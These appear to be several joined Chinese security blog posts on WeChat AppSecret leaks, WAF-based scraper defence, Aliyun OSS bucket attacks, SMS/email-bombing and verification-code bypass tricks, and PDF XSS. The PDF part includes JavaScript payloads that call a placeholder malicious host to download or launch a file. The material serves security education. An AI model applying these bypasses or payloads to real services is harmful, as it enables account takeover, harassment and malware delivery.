小程序Appid、AppSecret泄露漏洞总结 漏洞描述AppSecret是小程序的唯一凭证密钥，也是获取小程序全局唯一后台接口调用凭证的重要参数，需要开发者妥善保管至后台服务器中，并严格保密，不向任何第三方等透露。小程序若存在AppSecret密钥泄露漏洞的情况，会造成身份信息仿冒、敏感数据外泄等严重后果，开发者应及时发现该漏洞并快速修复相应问题。漏洞环境搭建如果没有可用的Appid、AppSecret来复现漏洞环境，可以自己注册一个公众号或微信小程序。我有公众号，那么接下来我会用公众号来演示操作。首先登录公众号，然后依次点击：设置与开发-基本配置-开启、重置（第一次显示的都是开启，我这个是已经开启后效果，如果忘记AppSecret可以重置）获取到Appid、AppSecret后还需要设置IP白名单。由于是通过开发者ID及密码调用获取access_token接口的，所以需要把访问来源IP添加到白名单，这样才可以正常使用功能（图片中的ip请替换成你的公网ip）。相关文档手册微信官方手册公众号https://developers.weixin.qq.com/doc/offiaccount/Getting_Started/Overview.html公共错误码https://developers.weixin.qq.com/doc/oplatform/Return_codes/Return_code_descriptions_new.html网页调试工具https://mp.weixin.qq.com/debug/cgi-bin/apiinfo?t=index&type=%E5%9F%BA%E7%A1%80%E6%94%AF%E6%8C%81&form=%E8%8E%B7%E5%8F%96access_token%E6%8E%A5%E5%8F%A3%20/token漏洞复现获取Access token手册说明https://developers.weixin.qq.com/doc/offiaccount/Basic_Information/Get_access_token.html获取方式https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET举例子，假如你的Appid是123，AppSecret是456那么获取Access token的链接就为：https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=123&secret=456调用功能通过查看微信官方手册公众号就可以知道可以通过接口使用哪些功能我们用获取用户列表接口举列子可以直接使用手册中的地址补充获取到的Access token请求即可，我这里使用网页调试工具来测试由于我的公众号没有认证所以没有获得相关的权限无法通过接口调用功能。从网上找了成功的案例图片获取小程序用户评论获取小程序用户访问数据冒用小程序身份给用户发送消息

我与爬虫的对抗 1. 丸辣1.1 完犊子了快到月底了，是时候查看一下各项服务，看看有没有什么需要续费啥的。查看到我的存储桶时候，兴奋了。这个月产生的流量是上个月的三倍，这说明使用网站的人变多了，能不高兴吗。但是查看完日志后我就没心情了。查看存储桶这一个月的总流量为：1G，约上月流量的3倍。1.2 查日志翻看日志，分别在8月的6、13、14、16日，流量全都异常。在这几天公众号没有发文，发文的资源都可以在后台获取到，平台在这几天陡然产生大流量肯定不正常。继续看日志，在8月6日当天产生了1千多次get的请求，这种流量应该是在爬站。还有PUT的请求方式。这一看就是冲着攻击来的，目的是想上传文件。在8月的2、24号请求最多。8月一共产生PUT请求方式370次。流量主要流向江西省为了后续减少损失抓紧做对应防御吧。2. 加固2.1 存储桶首先在创建存储桶时设置的权限就是只允许公共读，不能写。所以那些PUT请求没能成功把文件上传到存储桶中。2.2 爬站流量变大还存在另一种情况。有的在爬站时不但直接爬取内容，而且为了减少运营成本还会直接使用原作者提供的资源地址。文库中的图片我全都放在存储桶中，对方为了减少运营成本直接复制图片链接粘贴到他的项目中同样可以达到展示的效果。就这样别人吃着火锅还唱着歌，躺着就赢了。我这边赔了夫人又折兵。不但被抄家，而且双方在使用资源时存储桶产生的流量费用还要我一个人掏钱。应对这样的情况存储桶可以开启防盗链功能，只允许我自己的域名才能使用资源。2.3 高防另外还可以开通OSS高防服务，不过费用非常高，我承受不起。3. 上科技3.1 雷池爬站过程中肯定会产生较多的流量和访问速度，这时候就可以在服务器上安装一个waf来检测和限制访问。不但能防护恶意攻击，还能减少资源的浪费，美哉。做安全的长亭无人不知，他的雷池在业界有着很高的地位。不太了解的请自行百度。所以我选择雷池帮我守护。3.2 准备我使用了两台服务器分别运行waf和业务，如果把waf和业务都放在同一台服务器上运行那么服务器的负载会很大。下面是waf的工作原理图3.3 部署雷池是采用容器化部署、运行的，如果服务器没有安装docker也没事，官方提供的一键部署命令可以自动安装docker。这是没有安装docker运行一键部署的效果，按照指引就可以安装所需环境。这是已经安装docker运行一键部署的效果，自定义安装目录即可安装。安装完成后会给出管理地址和管理员的账号密码。3.4 配置通过ip:9443即可访问到服务，输入刚刚的账号和密码即可登录首先建议把域名的解析地址解析到cdn或者waf的ip，这样的好处就是有效的避免业务服务器的ip泄露先看一下业务服务器上的配置，开了81、82、83、84端口分别对应不同的业务。建议同时开启限制访问业务的ip，下图中我设置允许访问业务的ip是waf服务器的ip，也就是说只有经过waf的ip才可以访问和使用业务。假如攻击者知道了业务服务器的真实ip，直接跳过waf通过业务服务器ip来访问业务，他照样无法访问服务，因为我限制了使用服务的ip地址。3.5 配置防御在防护站点-站点管理功能中，填写需要防护的业务域名、waf的监听端口和业务服务器地址即可完成。防护按需配置最后就可以开心的玩耍啦。

阿里云OSS存储攻击总结 1. Bucket目录遍历漏洞1.1 漏洞环境搭建首先登录阿里云，然后依次选择产品-存储-对象存储OSS进入后可以免费开通，点击开通就好了。因为我已经开通过了，所以没有免费开通的按钮，我这边点击管理控制台。进入功能后创建存储桶，其中读写权限设置为公共读，然后点击完成创建。在此时如果选择公有读的话，会出现两种情况：读写权限单纯设置为公有读或公共读写的情况下，是无法列出对象的。列出对象，需要在Bucket授权策略中设置：只读(包含ListObject操作)。具体设置看漏洞复现1.2 情况1漏洞复现创建完后点击刚刚创建的存储桶-文件列表，即可管理存储桶中的文件。点击上传文件按钮，上传测试文件。访问存储桶时发现没有列举刚刚上传的文件。由于我们刚刚把文件上传的地方在根目录下，所以在域名后面加上文件名（文件名区分大小写）即可下载到文件。1.3 情况2漏洞复现依次点击刚刚创建的存储桶-Bucket授权策略-新增授权-只读(包含ListObject操作)。访问存储桶时发现列举了刚刚上传的文件，并且访问文件同样可以下载到文件。2. Bucket任意文件上传与文件覆盖漏洞2.1 漏洞环境搭建依次点击刚刚创建的存储桶-读写权限-公共读写（这一步可以设置也可以不设置，设置了可以更直观的展现任意文件上传的效果）依次点击刚刚创建的存储桶-Bucket授权策略-新增授权-只读(包含ListObject操作)。2.2 任意文件上传漏洞复现使用bp通过PUT方式上传一个名为1.txt，内容为1的文件到存储桶中。访问存储桶时发现列举了刚刚上传的文件。并且文件内容一模一样，也可以下载到文件。2.3 文件覆盖漏洞复现使用bp通过PUT方式上传一个名为1.txt，内容改为2的文件到存储桶中。访问存储桶时发现列举了刚刚上传的文件。原来1.txt的内容为1，通过重新上传后文件内容被修改为了2。3. 阿里AccessKeyId、SecretAccessKey泄露漏洞3.1 漏洞描述AccessKey是阿里云提供给用户的永久访问凭据，包括AccessKey ID和AccessKey Secret两部分。AccessKey ID用于标识用户，AccessKey Secret用于验证用户的密钥，主要用于程序方式调用云服务API12345。用户可以为阿里云账号和RAM用户创建一个访问密钥（AccessKey）1245。在调用阿里云API时您需要使用AccessKey完成身份验证1235。3.2 漏洞复现泄露的地方有很多例如：反编译安装包，找到泄露的Key。网站的源代码、js、heapdump中找到泄露的Key。GitHub等开源平台中的源代码可发现存在泄露的Key。这里用我自己的作为示例，假设我的AccessKeyId、SecretAccessKey在某处泄露了攻击者就可以通过工具接管到目标存储桶。4. Bucket爆破漏洞4.1 漏洞描述当不知道存储桶名称时，可以通过爆破获得存储桶名称。这有些类似于目录爆破，只不过目录爆破一般通过状态码判断，而这个通过页面的内容判断。对于阿里云OSS不存在有两种返回情况，分别是InvalidBucketName和NoSuchBucket。存储桶地址：样例：https://qazzaq.oss-cn-beijing.aliyuncs.com/ 解释：https://存储桶名称.存储桶地址.aliyuncs.com/4.2 漏洞复现NoSuchBucket：表示没有这个存储桶。InvalidBucketName：表示存储桶的名称不符合规范，属于无效的存储桶名称。当存储桶存在时，则会返回以下两种情况：5. Bucket接管漏洞5.1 漏洞描述在阿里云下，当存储桶显示NoSuchBucket说明是可以接管的，如果显示AccessDenied则不行。5.2 漏洞复现假设管理员通过域名解析并绑定了一个存储桶，但是管理员将存储桶删除后，没有将域名解析的CNAME删除，这时会访问域名就会出现NoSuchBucket。因此可以登录自己的阿里云账号，创建同样的存储桶即可。6. Bucket特定策略漏洞6.1 漏洞描述特定的策略配置的指的是，管理员设置了特定的IP、UA才可以请求该存储桶。此时如果错误的配置了GetBucketPolicy，可导致攻击者获取策略配置。6.2 漏洞复现访问目标发现没有权限。查看一下存储桶设置的访问策略，可以看到需要符合UserAgent为UzJu才可以访问。回到bp把UserAgent参数修改为UzJu，即可获取到数据。7. Bucket策略配置可写漏洞7.1 漏洞描述当策略可写的时候，可以把原本不能访问到的数据设置为可访问从而获得敏感数据。7.2 漏洞复现当我们访问存储桶的时候，会提示我们已经被policy拦截。如果策略可写时，把Effect中的Deny更改为Allow即可。随后使用PUT方法上传。此时就可以访问到存储桶中的信息了。8. Bucket修改策略导致网站瘫痪漏洞8.1 漏洞描述当策略可写的时候，除了上面的将可原本不可访问的数据设置为可访问从而获得敏感数据外，如果目标网站引用了资源文件，而且我们可以对该策略进行读写的话，也可以将原本可访问的资源权限设置为不可访问，这样就会导致网站瘫痪了。8.2 漏洞复现这是站点正常的样子。如果可以修改策略，只需要将获取该对象的权限修改为Deny，该网站就无法获取到图片、JS等信息了。修改后站点已无法获取到信息。

短信和邮箱轰炸漏洞总结 1.关于验证码漏洞的几种类型1.1 前端显示这种情况是极为少见的。验证码作为用于鉴别身份的重要方式，没有哪个开发商敢把短信验证码直接显示在前端的。既然都显示在前端那就失去了他的作用，既然这样了为什么不弄个数字图片或者图形验证码来鉴别是否为机器人呢。遇到的一个实例，他就是把验证码直接显示在了前端1.2 响应包显示这种算是前端显示的另一种版本。两者区别就在于前端的可以在网页中直接看到，这种则需要手动查看获取验证码请求后返回的响应包。验证码就会在响应包中被查看到。1.3 验证码转发什么是验证码转发？比如你要注册一个账号需要绑定手机号，正常的逻辑是只输入一个手机号然后获取验证码。但是在这里可以尝试在第一个手机号的末尾处添加一个英文的逗号然后再填入一个手机号或者用同样的方式无限制添加手机号。当点击获取验证码按钮后，不光第一个手机号可以收到验证码，刚刚在后面添加的其他的手机号也能接收到验证码。且每个手机号获取到的验证码内容都会一模一样。1.4 篡改接收验证码的手机号这种情况是验证码转发的另一种版本。两者区别在于验证码转发可以在请求前操作，这种则需要请求后操作。举个例子，在找回密码处给账号绑定的手机号发送获取验证码的请求时拦截数据包，这时在请求包中会显示账号绑定的手机号，现在把账号绑定的手机号更换成攻击者的手机号。由于系统默认还是在找回密码中输入的账号绑定的手机号，这样就可以劫持验证码，达到重置密码的效果。1.5 自定义验证码内容举一个抖音海外版的例子，在TikTok的网站上，有一项功能可以让用户向自己发送SMS短信以下载该应用程序，这也就造成了TikTok可以将SMS短信发送到任何电话号码。攻击者向受害者发送SMS消息时拦截请求。该参数中包含了受害者的手机号和下载链接正常获取的到短信样子当攻击者修改DOWNLOAD_URL参数后向受害者发送短信，则受害者收到的短信中的链接就会变成攻击者修改后的链接1.6 验证码可爆破服务端未对验证时间、次数作出限制，存在爆破的可能性。简单的系统存在可以直接爆破的可能性，但做过一些防护的系统还得进行一些绕过才能进行爆破。对于4位纯数字验证码：从0000~9999有10000种可能，使用多线程在5分钟内跑完并不是很难。对于6位纯数字验证码：从000000~999999有1000000种可能，单从爆破时间上来看就比4位数的多100倍。1.7 验证码重复使用验证码重复使用简单的说就是你使用的验证码在登陆完成后，验证码不会失去效果再次去登录时，使用该验证码任然有效。2. 绕过发送限制造成轰炸效果2.1 并发绕过什么是并发？拿淘宝双11举例子，假设活动开始是9点整，由于用户在这之前购物车内的东西都准备好了就等时间一到就立马下单，那么到了9点突然一大堆用户全都点了付款按钮。简单的来说就是同一时间内大量的数据涌入这就是并发。有的网站性能没有处理的好就会造成这种情况，并发的次数越大轰炸的次数越多。2.2 特殊格式绕过假如参数是这样的：mobile=13111111111，且每个手机号只能获取一次验证码。这时可以利用空格来绕过限制，在手机号的前面或者末尾每增加一个空格系统就会认为是一个新的手机号。请求有GET和POST方式，对于GET请求方式需要把空格进行URL编码（%20），POST的请求大多数情况可以直接加空格。除了空格还有86、086、0086、+86、0、00、/r、/n以及特殊符号等。2.3 利用大小写绕过前面说到了关于加空格的绕过限制，但还有一种方式可以绕过邮箱轰炸限制，那就是通过修改大小写，通过修改邮箱后面字母的大小写就可绕过限制，假如参数是这样的：Email=123@qq.com 当次数达到限制时，随便修改一个字母为大写：Email=123@Qq.com就可绕过限制。2.4 调用接口绕过比如这样的参数：terminal=01&mobile=13111111111，前面的接口是调用短信发送内容的接口，比如terminal参数值为01是调用注册成功的短信提示，02是调用密码重置成功的短信提示，03是调用注册成功的短信提示等等，当修改这个接口值时，也就达到了短信轰炸或邮箱轰炸的目的。还有另一种情况就是无效验证。什么是无效验证？有的站点要求输入正确图形验证码才可以获取到信息。有的站点验证码形同虚设随便输入字符就可以通过、有的验证码可以重复使用。还有的就是输入验证码后直接调用接口发送，以上两种情况可以直接利用成功发送验证码的数据包发送到bp的intruder模块，payload设置为空字符大批量发包2.5 修改IP绕过有些是验证当前IP的，如果当前IP短时间内获取短信或邮件频繁或者达到一定次数的话就会出现限制，那么就可以利用修改IP或者代理IP来进行绕过限制。2.6 修改返回值绕过比如发送成功后返回值是success，发送失败的返回值是error，那么当达到次数后，可以通过修改返回值为正确的返回值：success，从而绕过限制，达到发送成功的目的。2.7 修改Cookie值绕过有些可能不是直接验证手机号来判断次数，而是验证当前Cookie，利用当前Cookie来进行验证发送次数的话，很容易造成绕过，这里如果验证的不是登录状态的Cookie而是普通状态下的Cookie的话就可以通过修改Cookie达到绕过验证。3. 短信和邮箱轰所引发的其他危害3.1 爆破潜在用户比如在注册处输入手机号或邮箱，它会判断该手机号或邮箱是否存在，如果存在返回通过并执行下一步的操作，如果不存在就返回不存在的信息提示，那么在这里可以批量进行爆破潜在的用户已经注册过的手机号或邮箱号，然后可被利用来进行撞库！

PDF XSS攻击总结 1. 工具地址https://www.xunjiepdf.com/editor2. 制作教程进入工具，依次点击文件 -> 新建文档 -> 从空白页然后再次点击文件 -> 文档属性点击JavaScript -> 添加在编辑器中添加如下代码：app.alert("TNT");保存后即可在浏览器中看到弹窗3. 常用的JavaScript注入攻击函数通过弹出恶意警告框来干扰用户或欺骗用户app.alert("恶意代码");通过导出数据对象来触发恶意文件的下载或执行this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过提交表单来触发恶意脚本的执行this.submitForm({ cURL: "http://恶意网站/恶意脚本" });4. 变种漏洞的总结除了基本的PDF XSS，还存在一些变种漏洞，下面是关于这些变种漏洞的总结：JavaScript注入 这种变种漏洞利用PDF文件中的JavaScript功能，攻击者可以将恶意的JavaScript代码嵌入到PDF文件中，当用户打开PDF文件时，恶意脚本会被执行。这种漏洞可以用于执行各种恶意操作，如窃取用户的敏感信息、修改用户的数据等。PDF链接跳转 这种变种漏洞利用PDF文件中的链接跳转功能，攻击者可以在PDF文件中创建一个看似正常的链接，但实际上是指向一个恶意网站的链接。当用户点击这个链接时，会被重定向到恶意网站，从而可能遭受钓鱼攻击或下载恶意软件。PDF表单攻击 这种变种漏洞利用PDF文件中的表单功能，攻击者可以在PDF文件中创建一个看似正常的表单，但实际上其中的字段可能包含恶意脚本代码。当用户填写表单并提交时，恶意脚本会被执行，从而可能导致数据泄露或其他恶意操作。PDF文件解析漏洞 这种变种漏洞利用PDF阅读器的解析漏洞，攻击者可以通过构造特定的PDF文件，利用解析漏洞来执行恶意操作。这种漏洞通常需要PDF阅读器的相关软件供应商发布安全补丁来修复。